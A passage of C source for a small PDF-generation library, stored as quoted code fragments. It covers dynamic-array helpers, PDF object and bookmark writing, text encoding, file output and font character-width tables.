1)\nstatic int bin_offset[] = {\n (1 << (MIN_SHIFT + 0)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 1)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 2)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 3)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 4)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 5)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 6)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 7)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 8)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 9)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 10)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 11)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 12)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 13)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 14)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 15)) - 1 - MIN_OFFSET,\n};", "static inline int flexarray_get_bin(struct flexarray *flex, int index)\n{\n int i;\n (void)flex;\n for (i = 0; i < ARRAY_SIZE(bin_offset); i++)\n if (index < bin_offset[i])\n return i - 1;\n return -1;\n}", "static inline int flexarray_get_bin_size(struct flexarray *flex, int bin)\n{\n (void)flex;\n if (bin >= ARRAY_SIZE(bin_offset))\n return -1;\n int next = bin_offset[bin + 1];\n return next - bin_offset[bin];\n}", "static inline int flexarray_get_bin_offset(struct flexarray *flex, int bin, int index)\n{\n (void)flex;\n return index - bin_offset[bin];\n}", "static void flexarray_clear(struct flexarray *flex)\n{\n int i;\n for (i = 0; i < flex->bin_count; i++)\n free(flex->bins[i]);\n free(flex->bins);\n flex->bin_count = 0;\n flex->item_count = 0;\n}", "static inline int flexarray_size(struct flexarray *flex)\n{\n return flex->item_count;\n}", "static int flexarray_set(struct flexarray *flex, int index, void *data)\n{\n int bin = flexarray_get_bin(flex, index);\n if (bin < 0)\n return -EINVAL;\n if (bin >= flex->bin_count) {\n void *bins = realloc(flex->bins, (flex->bin_count + 1) *\n sizeof(flex->bins));\n if (!bins)\n return -ENOMEM;\n flex->bin_count++;\n flex->bins = bins;\n flex->bins[flex->bin_count - 1] =\n calloc(flexarray_get_bin_size(flex, flex->bin_count - 1),\n sizeof(void *));\n if (!flex->bins[flex->bin_count - 1]) {\n flex->bin_count--;\n return -ENOMEM;\n }\n }\n flex->item_count++;\n flex->bins[bin][flexarray_get_bin_offset(flex, bin, index)] = data;\n return flex->item_count - 1;\n}", "static inline int flexarray_append(struct flexarray *flex, void *data)\n{\n return flexarray_set(flex, flexarray_size(flex), data);\n}", "static inline void *flexarray_get(struct flexarray *flex, int index)\n{\n int bin;", " if (index >= flex->item_count)\n return NULL;\n bin = flexarray_get_bin(flex, index);\n if (bin < 0 || bin >= flex->bin_count)\n return NULL;\n return flex->bins[bin][flexarray_get_bin_offset(flex, bin, index)];\n}", "/**\n * PDF Implementation\n */", "static int pdf_set_err(struct pdf_doc *doc, int errval,\n const char *buffer, ...)\n__attribute__ ((format(printf, 3, 4)));\nstatic int pdf_set_err(struct pdf_doc *doc, int errval,\n const char *buffer, ...)\n{\n va_list ap;\n int len;", " va_start(ap, buffer);\n len = vsnprintf(doc->errstr, sizeof(doc->errstr) - 2, buffer, ap);\n va_end(ap);", " /* Make sure we're properly terminated */\n if (doc->errstr[len] != '\\n')\n doc->errstr[len] = '\\n';\n doc->errstr[len] = '\\0';\n doc->errval = errval;", " return errval;\n}", "const char *pdf_get_err(struct pdf_doc *pdf, int *errval)\n{\n if (!pdf)\n return NULL;\n if (pdf->errstr[0] == '\\0')\n return NULL;\n if (errval) *errval = pdf->errval;\n return pdf->errstr;\n}", "void pdf_clear_err(struct pdf_doc *pdf)\n{\n if (!pdf)\n return;\n pdf->errstr[0] = '\\0';\n pdf->errval = 0;\n}", "static struct pdf_object *pdf_get_object(struct pdf_doc *pdf, int index)\n{\n return flexarray_get(&pdf->objects, index);\n}", "static int pdf_append_object(struct pdf_doc *pdf, struct pdf_object *obj)\n{\n int index = flexarray_append(&pdf->objects, obj);", " if (index < 0)\n return index;\n obj->index = index;", " if (pdf->last_objects[obj->type]) {\n obj->prev = pdf->last_objects[obj->type];\n pdf->last_objects[obj->type]->next = obj;\n }\n pdf->last_objects[obj->type] = obj;", " if (!pdf->first_objects[obj->type])\n pdf->first_objects[obj->type] = obj;", " return 0;\n}", "static struct pdf_object *pdf_add_object(struct pdf_doc *pdf, int type)\n{\n struct pdf_object *obj;", " obj = calloc(1, sizeof(struct pdf_object));\n if (!obj) {\n pdf_set_err(pdf, -errno, \"Unable to allocate object %d: %s\",\n flexarray_size(&pdf->objects) + 1, strerror(errno));\n return NULL;\n }", " obj->type = type;", " if (pdf_append_object(pdf, obj) < 0) {\n free(obj);\n return NULL;\n }", " return obj;\n}", "struct pdf_doc *pdf_create(int width, int height, struct pdf_info *info)\n{\n struct pdf_doc *pdf;\n struct pdf_object *obj;", " pdf = calloc(1, sizeof(struct pdf_doc));\n pdf->width = width;\n pdf->height = height;", " /* We don't want to use ID 0 */\n pdf_add_object(pdf, OBJ_none);", " /* Create the 'info' object */\n obj = pdf_add_object(pdf, OBJ_info);\n if (info)\n obj->info = *info;\n /* FIXME: Should be quoting PDF strings? */\n if (!obj->info.date[0]) {\n time_t now = time(NULL);\n struct tm tm;\n#ifdef _WIN32\n struct tm *tmp;\n tmp = localtime(&now);\n tm = *tmp;\n#else\n localtime_r(&now, &tm);\n#endif\n strftime(obj->info.date, sizeof(obj->info.date),\n \"%Y%m%d%H%M%SZ\", &tm);\n }\n if (!obj->info.creator[0])\n strcpy(obj->info.creator, \"pdfgen\");\n if (!obj->info.producer[0])\n strcpy(obj->info.producer, \"pdfgen\");\n if (!obj->info.title[0])\n strcpy(obj->info.title, \"pdfgen\");\n if (!obj->info.author[0])\n strcpy(obj->info.author, \"pdfgen\");\n if (!obj->info.subject[0])\n strcpy(obj->info.subject, \"pdfgen\");", " pdf_add_object(pdf, OBJ_pages);\n pdf_add_object(pdf, OBJ_catalog);", " pdf_set_font(pdf, \"Times-Roman\");", " return pdf;\n}", "int pdf_width(struct pdf_doc *pdf)\n{\n return pdf->width;\n}", "int pdf_height(struct pdf_doc *pdf)\n{\n return pdf->height;\n}", "static void pdf_object_destroy(struct pdf_object *object)\n{\n switch (object->type) {\n case OBJ_stream:\n case OBJ_image:\n free(object->stream.text);\n break;\n case OBJ_page:\n flexarray_clear(&object->page.children);\n break;\n case OBJ_bookmark:\n flexarray_clear(&object->bookmark.children);\n break;\n }\n free(object);\n}", "void pdf_destroy(struct pdf_doc *pdf)\n{\n if (pdf) {\n int i;\n for (i = 0; i < flexarray_size(&pdf->objects); i++)\n pdf_object_destroy(pdf_get_object(pdf, i));\n flexarray_clear(&pdf->objects);\n free(pdf);\n }\n}", "static struct pdf_object *pdf_find_first_object(struct pdf_doc *pdf,\n int type)\n{\n return pdf->first_objects[type];\n}", "static struct pdf_object *pdf_find_last_object(struct pdf_doc *pdf,\n int type)\n{\n return pdf->last_objects[type];\n}", "int pdf_set_font(struct pdf_doc *pdf, const char *font)\n{\n struct pdf_object *obj;\n int last_index = 0;", " /* See if we've used this font before */\n for (obj = pdf_find_first_object(pdf, OBJ_font); obj; obj = obj->next) {\n if (strcmp(obj->font.name, font) == 0)\n break;\n last_index = obj->font.index;\n }", " /* Create a new font object if we need it */\n if (!obj) {\n obj = pdf_add_object(pdf, OBJ_font);\n if (!obj)\n return pdf->errval;\n strncpy(obj->font.name, font, sizeof(obj->font.name));\n obj->font.name[sizeof(obj->font.name) - 1] = '\\0';\n obj->font.index = last_index + 1;\n }", " pdf->current_font = obj;", " return 0;\n}", "struct pdf_object *pdf_append_page(struct pdf_doc *pdf)\n{\n struct pdf_object *page;", " page = pdf_add_object(pdf, OBJ_page);", " if (!page)\n return NULL;", " page->page.width = pdf->width;\n page->page.height = pdf->height;", " return page;\n}", "int pdf_page_set_size(struct pdf_doc *pdf, struct pdf_object *page, int width, int height)\n{\n if (!page)\n page = pdf_find_last_object(pdf, OBJ_page);", " if (!page || page->type != OBJ_page)\n return pdf_set_err(pdf, -EINVAL, \"Invalid PDF page\");\n page->page.width = width;\n page->page.height = height;\n return 0;\n}", "static int pdf_save_object(struct pdf_doc *pdf, FILE *fp, int index)\n{\n struct pdf_object *object = pdf_get_object(pdf, index);", " if (object->type == OBJ_none)\n return -ENOENT;", " object->offset = ftell(fp);", " fprintf(fp, \"%d 0 obj\\r\\n\", index);", " switch (object->type) {\n case OBJ_stream:\n case OBJ_image: {\n int len = object->stream.len ? object->stream.len :\n strlen(object->stream.text);\n fwrite(object->stream.text, len, 1, fp);\n break;\n }\n case OBJ_info: {\n struct pdf_info *info = &object->info;", " fprintf(fp, \"<<\\r\\n\"\n \" /Creator (%s)\\r\\n\"\n \" /Producer (%s)\\r\\n\"\n \" /Title (%s)\\r\\n\"\n \" /Author (%s)\\r\\n\"\n \" /Subject (%s)\\r\\n\"\n \" /CreationDate (D:%s)\\r\\n\"\n \">>\\r\\n\",\n info->creator, info->producer, info->title,\n info->author, info->subject, info->date);\n break;\n }", " case OBJ_page: {\n int i;\n struct pdf_object *font;\n struct pdf_object *pages = pdf_find_first_object(pdf, OBJ_pages);\n struct pdf_object *image = pdf_find_first_object(pdf, OBJ_image);", " fprintf(fp, \"<<\\r\\n\"\n \"/Type /Page\\r\\n\"\n \"/Parent %d 0 R\\r\\n\", pages->index);\n fprintf(fp, \"/MediaBox [0 0 %d %d]\\r\\n\",\n object->page.width, object->page.height);\n fprintf(fp, \"/Resources <<\\r\\n\");\n fprintf(fp, \" /Font <<\\r\\n\");\n for (font = pdf_find_first_object(pdf, OBJ_font); font; font = font->next)\n fprintf(fp, \" /F%d %d 0 R\\r\\n\",\n font->font.index, font->index);\n fprintf(fp, \" >>\\r\\n\");", " if (image) {\n fprintf(fp, \" /XObject <<\");\n for (; image; image = image->next)\n fprintf(fp, \"/Image%d %d 0 R \", image->index, image->index);\n fprintf(fp, \">>\\r\\n\");\n }", " fprintf(fp, \">>\\r\\n\");\n fprintf(fp, \"/Contents [\\r\\n\");\n for (i = 0; i < flexarray_size(&object->page.children); i++) {\n struct pdf_object *child = flexarray_get(&object->page.children, i);\n fprintf(fp, \"%d 0 R\\r\\n\", child->index);\n }\n fprintf(fp, \"]\\r\\n\");\n fprintf(fp, \">>\\r\\n\");\n break;\n }", " case OBJ_bookmark: {\n struct pdf_object *parent, *other;", " parent = object->bookmark.parent;\n if (!parent)\n parent = pdf_find_first_object(pdf, OBJ_outline);\n if (!object->bookmark.page)\n break;\n fprintf(fp, \"<<\\r\\n\"\n \"/A << /Type /Action\\r\\n\"\n \" /S /GoTo\\r\\n\"\n \" /D [%d 0 R /XYZ 0 %d null]\\r\\n\"\n \" >>\\r\\n\"\n \"/Parent %d 0 R\\r\\n\"\n \"/Title (%s)\\r\\n\",\n object->bookmark.page->index,\n pdf->height,\n parent->index,\n object->bookmark.name);\n int nchildren = flexarray_size(&object->bookmark.children);\n if (nchildren > 0) {\n struct pdf_object *f, *l;\n f = flexarray_get(&object->bookmark.children, 0);\n l = flexarray_get(&object->bookmark.children, nchildren - 1);\n fprintf(fp, \"/First %d 0 R\\r\\n\", f->index);\n fprintf(fp, \"/Last %d 0 R\\r\\n\", l->index);\n }\n // Find the previous bookmark with the same parent\n for (other = object->prev;\n other && other->bookmark.parent != object->bookmark.parent;\n other = other->prev)\n ;\n if (other)\n fprintf(fp, \"/Prev %d 0 R\\r\\n\", other->index);\n // Find the next bookmark with the same parent\n for (other = object->next;\n other && other->bookmark.parent != object->bookmark.parent;\n other = other->next)\n ;\n if (other)\n fprintf(fp, \"/Next %d 0 R\\r\\n\", other->index);\n fprintf(fp, \">>\\r\\n\");\n break;\n }", " case OBJ_outline: {\n struct pdf_object *first, *last, *cur;\n first = pdf_find_first_object(pdf, OBJ_bookmark);\n last = pdf_find_last_object(pdf, OBJ_bookmark);", " if (first && last) {\n int count = 0;\n cur = first;\n while (cur) {\n if (!cur->bookmark.parent)\n count++;\n cur = cur->next;\n }", " /* Bookmark outline */\n fprintf(fp, \"<<\\r\\n\"\n \"/Count %d\\r\\n\"\n \"/Type /Outlines\\r\\n\"\n \"/First %d 0 R\\r\\n\"\n \"/Last %d 0 R\\r\\n\"\n \">>\\r\\n\",\n count, first->index, last->index);\n }\n break;\n }", " case OBJ_font:\n fprintf(fp, \"<<\\r\\n\"\n \" /Type /Font\\r\\n\"\n \" /Subtype /Type1\\r\\n\"\n \" /BaseFont /%s\\r\\n\"\n \" /Encoding /WinAnsiEncoding\\r\\n\"\n \">>\\r\\n\", object->font.name);\n break;", " case OBJ_pages: {\n struct pdf_object *page;\n int npages = 0;", " fprintf(fp, \"<<\\r\\n\"\n \"/Type /Pages\\r\\n\"\n \"/Kids [ \");\n for (page = pdf_find_first_object(pdf, OBJ_page);\n page;\n page = page->next) {\n npages++;\n fprintf(fp, \"%d 0 R \", page->index);\n }\n fprintf(fp, \"]\\r\\n\");\n fprintf(fp, \"/Count %d\\r\\n\", npages);\n fprintf(fp, \">>\\r\\n\");\n break;\n }", " case OBJ_catalog: {\n struct pdf_object *outline = pdf_find_first_object(pdf, OBJ_outline);\n struct pdf_object *pages = pdf_find_first_object(pdf, OBJ_pages);", " fprintf(fp, \"<<\\r\\n\"\n \"/Type /Catalog\\r\\n\");\n if (outline)\n fprintf(fp,\n \"/Outlines %d 0 R\\r\\n\"\n \"/PageMode /UseOutlines\\r\\n\", outline->index);\n fprintf(fp, \"/Pages %d 0 R\\r\\n\"\n \">>\\r\\n\",\n pages->index);\n break;\n }", " default:\n return pdf_set_err(pdf, -EINVAL, \"Invalid PDF object type %d\",\n object->type);\n }", " fprintf(fp, \"endobj\\r\\n\");", " return 0;\n}", "int pdf_save(struct pdf_doc *pdf, const char *filename)\n{\n FILE *fp;\n int i;\n struct pdf_object *obj;\n int xref_offset;\n int xref_count = 0;", " if (filename == NULL)\n fp = stdout;\n else if ((fp = fopen(filename, \"wb\")) == NULL)\n return pdf_set_err(pdf, -errno, \"Unable to open '%s': %s\",\n filename, strerror(errno));", " fprintf(fp, \"%%PDF-1.2\\r\\n\");\n /* Hibit bytes */\n fprintf(fp, \"%c%c%c%c%c\\r\\n\", 0x25, 0xc7, 0xec, 0x8f, 0xa2);", " /* Dump all the objects & get their file offsets */\n for (i = 0; i < flexarray_size(&pdf->objects); i++)\n if (pdf_save_object(pdf, fp, i) >= 0)\n xref_count++;", " /* xref */\n xref_offset = ftell(fp);\n fprintf(fp, \"xref\\r\\n\");\n fprintf(fp, \"0 %d\\r\\n\", xref_count + 1);\n fprintf(fp, \"0000000000 65535 f\\r\\n\");\n for (i = 0; i < flexarray_size(&pdf->objects); i++) {\n obj = pdf_get_object(pdf, i);\n if (obj->type != OBJ_none)\n fprintf(fp, \"%10.10d 00000 n\\r\\n\",\n obj->offset);\n }", " fprintf(fp, \"trailer\\r\\n\"\n \"<<\\r\\n\"\n \"/Size %d\\r\\n\", xref_count + 1);\n obj = pdf_find_first_object(pdf, OBJ_catalog);\n fprintf(fp, \"/Root %d 0 R\\r\\n\", obj->index);\n obj = pdf_find_first_object(pdf, OBJ_info);\n fprintf(fp, \"/Info %d 0 R\\r\\n\", obj->index);\n /* FIXME: Not actually generating a unique ID */\n fprintf(fp, \"/ID [<%16.16x> <%16.16x>]\\r\\n\", 0x123, 0x123);\n fprintf(fp, \">>\\r\\n\"\n \"startxref\\r\\n\");\n fprintf(fp, \"%d\\r\\n\", xref_offset);\n fprintf(fp, \"%%%%EOF\\r\\n\");\n fclose(fp);", " return 0;\n}", "static int pdf_add_stream(struct pdf_doc *pdf, struct pdf_object *page,\n char *buffer)\n{\n struct pdf_object *obj;\n int len;\n char prefix[128];\n char suffix[128];", " if (!page)\n page = pdf_find_last_object(pdf, OBJ_page);", " if (!page)\n return pdf_set_err(pdf, -EINVAL, \"Invalid pdf page\");", " len = strlen(buffer);\n /* We don't want any trailing whitespace in the stream */\n while (len >= 1 && (buffer[len - 1] == '\\r' ||\n buffer[len - 1] == '\\n')) {\n buffer[len - 1] = '\\0';\n len--;\n }", " sprintf(prefix, \"<< /Length %d >>stream\\r\\n\", len);\n sprintf(suffix, \"\\r\\nendstream\\r\\n\");\n len += strlen(prefix) + strlen(suffix);", " obj = pdf_add_object(pdf, OBJ_stream);\n if (!obj)\n return pdf->errval;\n obj->stream.text = malloc(len + 1);\n if (!obj->stream.text) {\n obj->type = OBJ_none;\n return pdf_set_err(pdf, -ENOMEM, \"Insufficient memory for text (%d bytes)\",\n len + 1);\n }\n obj->stream.text[0] = '\\0';\n strcat(obj->stream.text, prefix);\n strcat(obj->stream.text, buffer);\n strcat(obj->stream.text, suffix);\n obj->stream.len = 0;", " return flexarray_append(&page->page.children, obj);\n}", "int pdf_add_bookmark(struct pdf_doc *pdf, struct pdf_object *page,\n int parent, const char *name)\n{\n struct pdf_object *obj;", " if (!page)\n page = pdf_find_last_object(pdf, OBJ_page);", " if (!page)\n return pdf_set_err(pdf, -EINVAL,\n \"Unable to add bookmark, no pages available\");", " if (!pdf_find_first_object(pdf, OBJ_outline))\n if (!pdf_add_object(pdf, OBJ_outline))\n return pdf->errval;", " obj = pdf_add_object(pdf, OBJ_bookmark);\n if (!obj)\n return pdf->errval;", " strncpy(obj->bookmark.name, name, sizeof(obj->bookmark.name));\n obj->bookmark.name[sizeof(obj->bookmark.name) - 1] = '\\0';\n obj->bookmark.page = page;\n if (parent >= 0) {\n struct pdf_object *parent_obj = pdf_get_object(pdf, parent);\n if (!parent_obj)\n return pdf_set_err(pdf, -EINVAL,\n \"Invalid parent ID %d supplied\", parent);\n obj->bookmark.parent = parent_obj;\n flexarray_append(&parent_obj->bookmark.children, obj);\n }", " return obj->index;\n}", "struct dstr {\n char *data;\n int alloc_len;\n int used_len;\n};", "static int dstr_ensure(struct dstr *str, int len)\n{\n if (str->alloc_len < len) {\n int new_len = len + 4096;\n char *new_data = realloc(str->data, new_len);\n if (!new_data)\n return -ENOMEM;\n str->data = new_data;\n str->alloc_len = new_len;\n }\n return 0;\n}", "static int dstr_printf(struct dstr *str, const char *fmt, ...)\n__attribute__((format(printf,2,3)));\nstatic int dstr_printf(struct dstr *str, const char *fmt, ...)\n{\n va_list ap, aq;\n int len;", " va_start(ap, fmt);\n va_copy(aq, ap);\n len = vsnprintf(NULL, 0, fmt, ap);\n if (dstr_ensure(str, str->used_len + len + 1) < 0) {\n va_end(ap);\n va_end(aq);\n return -ENOMEM;\n }\n vsprintf(&str->data[str->used_len], fmt, aq);\n str->used_len += len;\n va_end(ap);\n va_end(aq);", " return len;\n}", "static int dstr_append(struct dstr *str, const char *extend)\n{\n int len = strlen(extend);\n if (dstr_ensure(str, str->used_len + len + 1) < 0)\n return -ENOMEM;\n strcpy(&str->data[str->used_len], extend);\n str->used_len += len;\n return len;\n}", "static void dstr_free(struct dstr *str)\n{\n free(str->data);\n}", "static int utf8_to_utf32(const char *utf8, int len, uint32_t *utf32)\n{\n uint32_t ch = *utf8;\n int i;\n uint8_t mask;", " if ((ch & 0x80) == 0) {\n len = 1;\n mask = 0x7f;\n } else if ((ch & 0xe0) == 0xc0 && len >= 2) {\n len = 2;\n mask = 0x1f;\n } else if ((ch & 0xf0) == 0xe0 && len >= 3) {\n len = 3;\n mask = 0xf;\n } else if ((ch & 0xf8) == 0xf0 && len >= 4) {\n len = 4;\n mask = 0x7;\n } else\n return -EINVAL;", " ch = 0;\n for (i = 0; i < len; i++) {\n int shift = (len - i - 1) * 6;\n if (i == 0)\n ch |= ((uint32_t)(*utf8++) & mask) << shift;\n else\n ch |= ((uint32_t)(*utf8++) & 0x3f) << shift;\n }", " *utf32 = ch;", " return len;\n}", "int pdf_add_text(struct pdf_doc *pdf, struct pdf_object *page,\n const char *text, int size, int xoff, int yoff,\n uint32_t colour)\n{\n int i, ret;\n int len = text ? strlen(text) : 0;\n struct dstr str = {0, 0, 0};", " /* Don't bother adding empty/null strings */\n if (!len)\n return 0;", " dstr_append(&str, \"BT \");\n dstr_printf(&str, \"%d %d TD \", xoff, yoff);\n dstr_printf(&str, \"/F%d %d Tf \",\n pdf->current_font->font.index, size);\n dstr_printf(&str, \"%f %f %f rg \",\n PDF_RGB_R(colour), PDF_RGB_G(colour), PDF_RGB_B(colour));\n dstr_append(&str, \"(\");", " /* Escape magic characters properly */\n for (i = 0; i < len; ) {\n uint32_t code;\n int code_len;\n code_len = utf8_to_utf32(&text[i], len - i, &code);\n if (code_len < 0) {\n dstr_free(&str);\n return pdf_set_err(pdf, -EINVAL, \"Invalid UTF-8 encoding\");\n }", " if (code > 255) {\n /* We support *some* minimal UTF-8 characters */\n char buf[5] = {0};\n switch (code) {\n case 0x160:\n buf[0] = (char)0x8a;\n break;\n case 0x161:\n buf[0] = (char)0x9a;\n break;\n case 0x17d:\n buf[0] = (char)0x8e;\n break;\n case 0x17e:\n buf[0] = (char)0x9e;\n break;\n case 0x20ac:\n strcpy(buf, \"\\\\200\");\n break;\n default:\n dstr_free(&str);\n return pdf_set_err(pdf, -EINVAL, \"Unsupported UTF-8 character: 0x%x 0o%o\", code, code);\n }\n dstr_append(&str, buf);\n } else if (strchr(\"()\\\\\", code)) {\n char buf[3];\n /* Escape some characters */\n buf[0] = '\\\\';\n buf[1] = code;\n buf[2] = '\\0';\n dstr_append(&str, buf);\n } else if (strrchr(\"\\n\\r\\t\\b\\f\", code)) {\n /* Skip over these characters */\n ;\n } else {\n char buf[2];\n buf[0] = code;\n buf[1] = '\\0';\n dstr_append(&str, buf);\n }", " i += code_len;\n }\n dstr_append(&str, \") Tj \");\n dstr_append(&str, \"ET\");", " ret = pdf_add_stream(pdf, page, str.data);\n dstr_free(&str);\n return ret;\n}", "/* How wide is each character, in points, at size 14 */\nstatic const uint16_t helvetica_widths[256] = {\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 355, 556, 556, 889, 667, 191,\n 333, 333, 389, 584, 278, 333, 278, 278,\n 556, 556, 556, 556, 556, 556, 556, 556,\n 556, 556, 278, 278, 584, 584, 584, 556,\n 1015, 667, 667, 722, 722, 667, 611, 778,\n 722, 278, 500, 667, 556, 833, 722, 778,\n 667, 778, 722, 667, 611, 722, 667, 944,\n 667, 667, 611, 278, 278, 278, 469, 556,\n 333, 556, 556, 500, 556, 556, 278, 556,\n 556, 222, 222, 500, 222, 833, 556, 556,\n 556, 556, 333, 500, 278, 556, 500, 722,\n 500, 500, 500, 334, 260, 334, 584, 350,\n 556, 350, 222, 556, 333, 1000, 556, 556,\n 333, 1000, 667, 333, 1000, 350, 611, 350,\n 350, 222, 222, 333, 333, 350, 556, 1000,\n 333, 1000, 500, 333, 944, 350, 500, 667,\n 278, 333, 556, 556, 556, 556, 260, 556,\n 333, 737, 370, 556, 584, 333, 737, 333,\n 400, 584, 333, 333, 333, 556, 537, 278,\n 333, 333, 365, 556, 834, 834, 834, 611,\n 667, 667, 667, 667, 667, 667, 1000, 722,\n 667, 667, 667, 667, 278, 278, 278, 278,\n 722, 722, 778, 778, 778, 778, 778, 584,\n 778, 722, 722, 722, 722, 667, 667, 611,\n 556, 556, 556, 556, 556, 556, 889, 500,\n 556, 556, 556, 556, 278, 278, 278, 278,\n 556, 556, 556, 556, 556, 556, 556, 584,\n 611, 556, 556, 556, 556, 500, 556, 500\n};", "static const uint16_t helvetica_bold_widths[256] = {\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 333, 474, 556, 556, 889, 722, 238,\n 333, 333, 389, 584, 278, 333, 278, 278,\n 556, 556, 556, 556, 556, 556, 556, 556,\n 556, 556, 333, 333, 584, 584, 584, 611,\n 975, 722, 722, 722, 722, 667, 611, 778,\n 722, 278, 556, 722, 611, 833, 722, 778,\n 667, 778, 722, 667, 611, 722, 667, 944,\n 667, 667, 611, 333, 278, 333, 584, 556,\n 333, 556, 611, 556, 611, 556, 333, 611,\n 611, 278, 278, 556, 278, 889, 611, 611,\n 611, 611, 389, 556, 333, 611, 556, 778,\n 556, 556, 500, 389, 280, 389, 584, 350,\n 556, 350, 278, 556, 500, 1000, 556, 556,\n 333, 1000, 667, 333, 1000, 350, 611, 350,\n 350, 278, 278, 500, 500, 350, 556, 1000,\n 333, 1000, 556, 333, 944, 350, 500, 667,\n 278, 333, 556, 556, 556, 556, 280, 556,\n 333, 737, 370, 556, 584, 333, 737, 333,\n 400, 584, 333, 333, 333, 611, 556, 278,\n 333, 333, 365, 556, 834, 834, 834, 611,\n 722, 722, 722, 722, 722, 722, 1000, 722,\n 667, 667, 667, 667, 278, 278, 278, 278,\n 722, 722, 778, 778, 778, 778, 778, 584,\n 778, 722, 722, 722, 722, 667, 667, 611,\n 556, 556, 556, 556, 556, 556, 889, 556,\n 556, 556, 556, 556, 278, 278, 278, 278,\n 611, 611, 611, 611, 611, 611, 611, 584,\n 611, 611, 611, 611, 611, 556, 611, 556\n};", "static uint16_t helvetica_bold_oblique_widths[256] = {\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 333, 474, 556, 556, 889, 722, 238,\n 333, 333, 389, 584, 278, 333, 278, 278,\n 556, 556, 556, 556, 556, 556, 556, 556,\n 556, 556, 333, 333, 584, 584, 584, 611,\n 975, 722, 722, 722, 722, 667, 611, 778,\n 722, 278, 556, 722, 611, 833, 722, 778,\n 667, 778, 722, 667, 611, 722, 667, 944,\n 667, 667, 611, 333, 278, 333, 584, 556,\n 333, 556, 611, 556, 611, 556, 333, 611,\n 611, 278, 278, 556, 278, 889, 611, 611,\n 611, 611, 389, 556, 333, 611, 556, 778,\n 556, 556, 500, 389, 280, 389, 584, 350,\n 556, 350, 278, 556, 500, 1000, 556, 556,\n 333, 1000, 667, 333, 1000, 350, 611, 350,\n 350, 278, 278, 500, 500, 350, 556, 1000,\n 333, 1000, 556, 333, 944, 350, 500, 667,\n 278, 333, 556, 556, 556, 556, 280, 556,\n 333, 737, 370, 556, 584, 333, 737, 333,\n 400, 584, 333, 333, 333, 611, 556, 278,\n 333, 333, 365, 556, 834, 834, 834, 611,\n 722, 722, 722, 722, 722, 722, 1000, 722,\n 667, 667, 667, 667, 278, 278, 278, 278,\n 722, 722, 778, 778, 778, 778, 778, 584,\n 778, 722, 722, 722, 722, 667, 667, 611,\n 556, 556, 556, 556, 556, 556, 889, 556,\n 556, 556, 556, 556, 278, 278, 278, 278,\n 611, 611, 611, 611, 611, 611, 611, 584,\n 611, 611, 611, 611, 611, 556, 611, 556\n};", "static uint16_t helvetica_oblique_widths[256] = {\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 355, 556, 556, 889, 667, 191,\n 333, 333, 389, 584, 278, 333, 278, 278,\n 556, 556, 556, 556, 556, 556, 556, 556,\n 556, 556, 278, 278, 584, 584, 584, 556,\n 1015, 667, 667, 722, 722, 667, 611, 778,\n 722, 278, 500, 667, 556, 833, 722, 778,\n 667, 778, 722, 667, 611, 722, 667, 944,\n 667, 667, 611, 278, 278, 278, 469, 556,\n 333, 556, 556, 500, 556, 556, 278, 556,\n 556, 222, 222, 500, 222, 833, 556, 556,\n 556, 556, 333, 500, 278, 556, 500, 722,\n 500, 500, 500, 334, 260, 334, 584, 350,\n 556, 350, 222, 556, 333, 1000, 556, 556,\n 333, 1000, 667, 333, 1000, 350, 611, 350,\n 350, 222, 222, 333, 333, 350, 556, 1000,\n 333, 1000, 500, 333, 944, 350, 500, 667,\n 278, 333, 556, 556, 556, 556, 260, 556,\n 333, 737, 370, 556, 584, 333, 737, 333,\n 400, 584, 333, 333, 333, 556, 537, 278,\n 333, 333, 365, 556, 834, 834, 834, 611,\n 667, 667, 667, 667, 667, 667, 1000, 722,\n 667, 667, 667, 667, 278, 278, 278, 278,\n 722, 722, 778, 778, 778, 778, 778, 584,\n 778, 722, 722, 722, 722, 667, 667, 611,\n 556, 556, 556, 556, 556, 556, 889, 500,\n 556, 556, 556, 556, 278, 278, 278, 278,\n 556, 556, 556, 556, 556, 556, 556, 584,\n 611, 556, 556, 556, 556, 500, 556, 500\n};", "static uint16_t symbol_widths[256] = {\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 333, 713, 500, 549, 833, 778, 439,\n 333, 333, 500, 549, 250, 549, 250, 278,\n 500, 500, 500, 500, 500, 500, 500, 500,\n 500, 500, 278, 278, 549, 549, 549, 444,\n 549, 722, 667, 722, 612, 611, 763, 603,\n 722, 333, 631, 722, 686, 889, 722, 722,\n 768, 741, 556, 592, 611, 690, 439, 768,\n 645, 795, 611, 333, 863, 333, 658, 500,\n 500, 631, 549, 549, 494, 439, 521, 411,\n 603, 329, 603, 549, 549, 576, 521, 549,\n 549, 521, 549, 603, 439, 576, 713, 686,\n 493, 686, 494, 480, 200, 480, 549, 0,\n 